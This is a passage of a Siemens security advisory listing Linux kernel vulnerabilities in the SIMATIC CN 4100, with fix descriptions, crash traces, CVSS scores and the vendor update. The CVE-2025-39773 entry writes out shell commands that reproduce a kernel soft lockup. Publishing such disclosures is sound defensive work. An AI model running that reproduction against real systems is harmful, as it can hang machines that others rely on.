(truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-573 Improper Following of Specification by Caller\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39772\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/hisilicon/hibmc: fix the hibmc loaded failed bug When hibmc loaded failed, the driver use hibmc_unload to free the resource, but the mutexes in mode.config are not init, which will access an NULL pointer. Just change goto statement to return, because hibnc_hw_init() doesn't need to free anything.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39773\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 > /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff > /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a (\"net: bridge: mcast: add and enforce query interval minimum\"), add check for the query interval maximum to fix this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39776\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/debug_vm_pgtable: clear page table entries at destroy_args() The mm/debug_vm_pagetable test allocates manually page table entries for the tests it runs, using also its manually allocated mm_struct. That in itself is ok, but when it exits, at destroy_args() it fails to clear those entries with the *_clear functions. The problem is that leaves stale entries. If another process allocates an mm_struct with a pgd at the same address, it may end up running into the stale entry. This is happening in practice on a debug kernel with CONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra debugging I added (it prints a warning trace if pgtables_bytes goes negative, in addition to the warning at check_mm() function): [ 2.539353] debug_vm_pgtable: [get_random_vaddr ]: random_vaddr is 0x7ea247140000 [ 2.539366] kmem_cache info [ 2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508 [ 2.539447] debug_vm_pgtable: [init_args ]: args->mm is 0x000000002267cc9e (...) [ 2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0 [ 2.552816] Modules linked in: [ 2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY [ 2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries [ 2.552872] NIP: c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90 [ 2.552885] REGS: c0000000622e73b0 TRAP: 0700 Not tainted (6.12.0-105.debug_vm2.el10.ppc64le+debug) [ 2.552899] MSR: 800000000282b033 CR: 24002822 XER: 0000000a [ 2.552954] CFAR: c0000000008f03f0 IRQMASK: 0 [ 2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001 [ 2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff [ 2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000 [ 2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb [ 2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0 [ 2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000 [ 2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001 [ 2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760 [ 2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0 [ 2.553185] LR [c0000000007eef30] free_pud_range+0x8b0/0x8d0 [ 2.553199] Call Trace: [ 2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable) [ 2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0 [ 2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570 [ 2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650 [ 2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290 [ 2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0 [ 2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870 [ 2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150 [ 2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50 [ 2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0 [ 2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec (...) [ 2.558892] ---[ end trace 0000000000000000 ]--- [ 2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1 [ 2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144 Here the modprobe process ended up with an allocated mm_struct from the mm_struct slab that was used before by the debug_vm_pgtable test. That is not a problem, since the mm_stru ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39782\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39783\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Fix configfs group list head handling Doing a list_del() on the epf_group field of struct pci_epf_driver in pci_epf_remove_cfs() is not correct as this field is a list head, not a list entry. This list_del() call triggers a KASAN warning when an endpoint function driver which has a configfs attribute group is torn down: ================================================================== BUG: KASAN: slab-use-after-free in pci_epf_remove_cfs+0x17c/0x198 Write of size 8 at addr ffff00010f4a0d80 by task rmmod/319 CPU: 3 UID: 0 PID: 319 Comm: rmmod Not tainted 6.16.0-rc2 #1 NONE Hardware name: Radxa ROCK 5B (DT) Call trace: show_stack+0x2c/0x84 (C) dump_stack_lvl+0x70/0x98 print_report+0x17c/0x538 kasan_report+0xb8/0x190 __asan_report_store8_noabort+0x20/0x2c pci_epf_remove_cfs+0x17c/0x198 pci_epf_unregister_driver+0x18/0x30 nvmet_pci_epf_cleanup_module+0x24/0x30 [nvmet_pci_epf] __arm64_sys_delete_module+0x264/0x424 invoke_syscall+0x70/0x260 el0_svc_common.constprop.0+0xac/0x230 do_el0_svc+0x40/0x58 el0_svc+0x48/0xdc el0t_64_sync_handler+0x10c/0x138 el0t_64_sync+0x198/0x19c ... Remove this incorrect list_del() call from pci_epf_remove_cfs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39787\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: soc: qcom: mdt_loader: Ensure we don't read past the ELF header When the MDT loader is used in remoteproc, the ELF header is sanitized beforehand, but that's not necessary the case for other clients. Validate the size of the firmware buffer to ensure that we don't read past the end as we iterate over the header. e_phentsize and e_shentsize are validated as well, to ensure that the assumptions about step size in the traversal are valid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39788\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: ufs: exynos: Fix programming of HCI_UTRL_NEXUS_TYPE On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0. This is because the left hand side of the shift is 1, which is of type int, i.e. 31 bits wide. Shifting by more than that width results in undefined behaviour. Fix this by switching to the BIT() macro, which applies correct type casting as required. This ensures the correct value is written to UTRL_NEXUS_TYPE (0xffffffff on gs101), and it also fixes a UBSAN shift warning: UBSAN: shift-out-of-bounds in drivers/ufs/host/ufs-exynos.c:1113:21 shift exponent 32 is too large for 32-bit type 'int' For consistency, apply the same change to the nutmrs / UTMRL_NEXUS_TYPE write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39790\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. The host uses this pointer to process all of the TREs between it and the host's local copy of the ring's read pointer. This works when processing completion for chained transactions, but can lead to nasty results if the device sends an event for a single-element transaction with a read pointer that is multiple elements ahead of the host's read pointer. For instance, if the host accesses an event ring while the device is updating it, the pointer inside of the event might still point to an old TRE. If the host uses the channel's xfer_cb() to directly free the buffer pointed to by the TRE, the buffer will be double-freed. This behavior was observed on an ep that used upstream EP stack without 'commit 6f18d174b73d (\"bus: mhi: ep: Update read pointer only after buffer is written\")'. Where the device updated the events ring pointer before updating the event contents, so it left a window where the host was able to access the stale data the event pointed to, before the device had the chance to update them. The usual pattern was that the host received an event pointing to a TRE that is not immediately after the last processed one, so it got treated as if it was a chained transaction, processing all of the TREs in between the two read pointers. This commit aims to harden the host by ensuring transactions where the event points to a TRE that isn't local_rp + 1 are chained. [mani: added stable tag and reworded commit message]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.7\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39794\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: tegra: Use I/O memcpy to write to IRAM Kasan crashes the kernel trying to check boundaries when using the normal memcpy.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39795\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t->chunk_sectors value is a multiple of the t->physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39798\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix the setting of capabilities when automounting a new filesystem Capabilities cannot be inherited when we cross into a new filesystem. They need to be reset to the minimal defaults, and then probed for again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-273 Improper Check for Dropped Privileges\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39800\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: abort transaction on unexpected eb generation at btrfs_copy_root() If we find an unexpected generation for the extent buffer we are cloning at btrfs_copy_root(), we just WARN_ON() and don't error out and abort the transaction, meaning we allow to persist metadata with an unexpected generation. Instead of warning only, abort the transaction and return -EUCLEAN.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39801\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: dwc3: Remove WARN_ON for device endpoint command timeouts This commit addresses a rarely observed endpoint command timeout which causes kernel panic due to warn when 'panic_on_warn' is enabled and unnecessary call trace prints when 'panic_on_warn' is disabled. It is seen during fast software-controlled connect/disconnect testcases. The following is one such endpoint command timeout that we observed: 1. Connect ======= ->dwc3_thread_interrupt ->dwc3_ep0_interrupt ->configfs_composite_setup ->composite_setup ->usb_ep_queue ->dwc3_gadget_ep0_queue ->__dwc3_gadget_ep0_queue ->__dwc3_ep0_do_control_data ->dwc3_send_gadget_ep_cmd 2. Disconnect ========== ->dwc3_thread_interrupt ->dwc3_gadget_disconnect_interrupt ->dwc3_ep0_reset_state ->dwc3_ep0_end_control_data ->dwc3_send_gadget_ep_cmd In the issue scenario, in Exynos platforms, we observed that control transfers for the previous connect have not yet been completed and end transfer command sent as a part of the disconnect sequence and processing of USB_ENDPOINT_HALT feature request from the host timeout. This maybe an expected scenario since the controller is processing EP commands sent as a part of the previous connect. It maybe better to remove WARN_ON in all places where device endpoint commands are sent to avoid unnecessary kernel panic due to warn.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39806\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix slab out-of-bounds access in mt_report_fixup() A malicious HID device can trigger a slab out-of-bounds during mt_report_fixup() by passing in report descriptor smaller than 607 bytes. mt_report_fixup() attempts to patch byte offset 607 of the descriptor with 0x25 by first checking if byte offset 607 is 0x15 however it lacks bounds checks to verify if the descriptor is big enough before conducting this check. Fix this bug by ensuring the descriptor size is at least 608 bytes before accessing it. Below is the KASAN splat after the out of bounds access happens: [ 13.671954] ================================================================== [ 13.672667] BUG: KASAN: slab-out-of-bounds in mt_report_fixup+0x103/0x110 [ 13.673297] Read of size 1 at addr ffff888103df39df by task kworker/0:1/10 [ 13.673297] [ 13.673297] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0-00005-gec5d573d83f4-dirty #3 [ 13.673297] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/04 [ 13.673297] Call Trace: [ 13.673297] [ 13.673297] dump_stack_lvl+0x5f/0x80 [ 13.673297] print_report+0xd1/0x660 [ 13.673297] kasan_report+0xe5/0x120 [ 13.673297] __asan_report_load1_noabort+0x18/0x20 [ 13.673297] mt_report_fixup+0x103/0x110 [ 13.673297] hid_open_report+0x1ef/0x810 [ 13.673297] mt_probe+0x422/0x960 [ 13.673297] hid_device_probe+0x2e2/0x6f0 [ 13.673297] really_probe+0x1c6/0x6b0 [ 13.673297] __driver_probe_device+0x24f/0x310 [ 13.673297] driver_probe_device+0x4e/0x220 [ 13.673297] __device_attach_driver+0x169/0x320 [ 13.673297] bus_for_each_drv+0x11d/0x1b0 [ 13.673297] __device_attach+0x1b8/0x3e0 [ 13.673297] device_initial_probe+0x12/0x20 [ 13.673297] bus_probe_device+0x13d/0x180 [ 13.673297] 